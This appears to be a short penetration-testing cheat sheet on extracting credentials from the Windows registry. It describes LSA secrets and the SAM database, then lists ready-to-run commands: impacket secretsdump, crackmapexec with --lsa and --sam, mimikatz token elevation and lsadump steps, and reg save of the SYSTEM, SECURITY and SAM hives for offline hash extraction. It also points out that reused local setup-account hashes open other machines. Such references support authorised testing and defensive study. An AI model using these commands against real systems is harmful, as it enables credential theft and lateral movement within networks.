Registry Credentials
The Windows Registry is a database used by the Windows Operating System to store configuration settings, preferences, and other information that attackers may be interested in, such as cached credentials.
Note that you need SYSTEM access, such as local administrator access, on a computer to view the registry's contents.
LSA Secrets
The Local Security Authority (LSA) is a section in the Windows Registry used to save sensitive data only accessible to the SYSTEM local account. The LSA Secrets is a popular place for the following domain account credentials that can either be in plain text or password hash format:
Domain Computer Account Credentials
Domain Service Account Credentials
Auto-Logon Credentials
Data Protection API (DPAPI) Master Keys
Domain Cached Credentials (DCC)
SAM
The Security Account Manager (SAM) is a component of the Windows Operating System that stores user accounts and related security information. The SAM database is used primarily for local accounts on a Windows computer.
The SAM database is a popular place for attackers to look for local accounts, such as the initial setup account organizations typically use to build the computer. If the setup account's credentials are used across all of the company's computers, obtaining the NTLM hash for this local setup account can give you access to all other computers (as long as the account is not disabled after setup).
Dumping Registry Credentials
secretsdump.py <domain/>[username]<:password><@computer> <options>
OPTIONS
-outputfile Base Output Filename
-hashes Authenticate Using LMHASH:NTHASH
-k Use Kerberos Auth From ccache Filecrackmapexec smb -u [username] -p [password] --lsa
crackmapexec smb -u [username] -p [password] --sam## Run Mimikatz
mimikatz.exe
## Acquire A System Session
token::elevate
## Enable SeDebugPrivilege In Your Terminal
privilege::debug
## Get LSA, Cache, Or SAM (Respectively)
lsadump::secrets
lsadump::cache
lsadump::sa## Save Required Hive Files
reg save HKLM\SYSTEM system.bin
reg save HKLM\SECURITY security.bin
reg save HKLM\SAM sam.bin# Use impacket-secretsdump To Parse Hive Files
impacket-secretsdump -system system.bin -security security.bin -sam sam.bin LOCALLast updated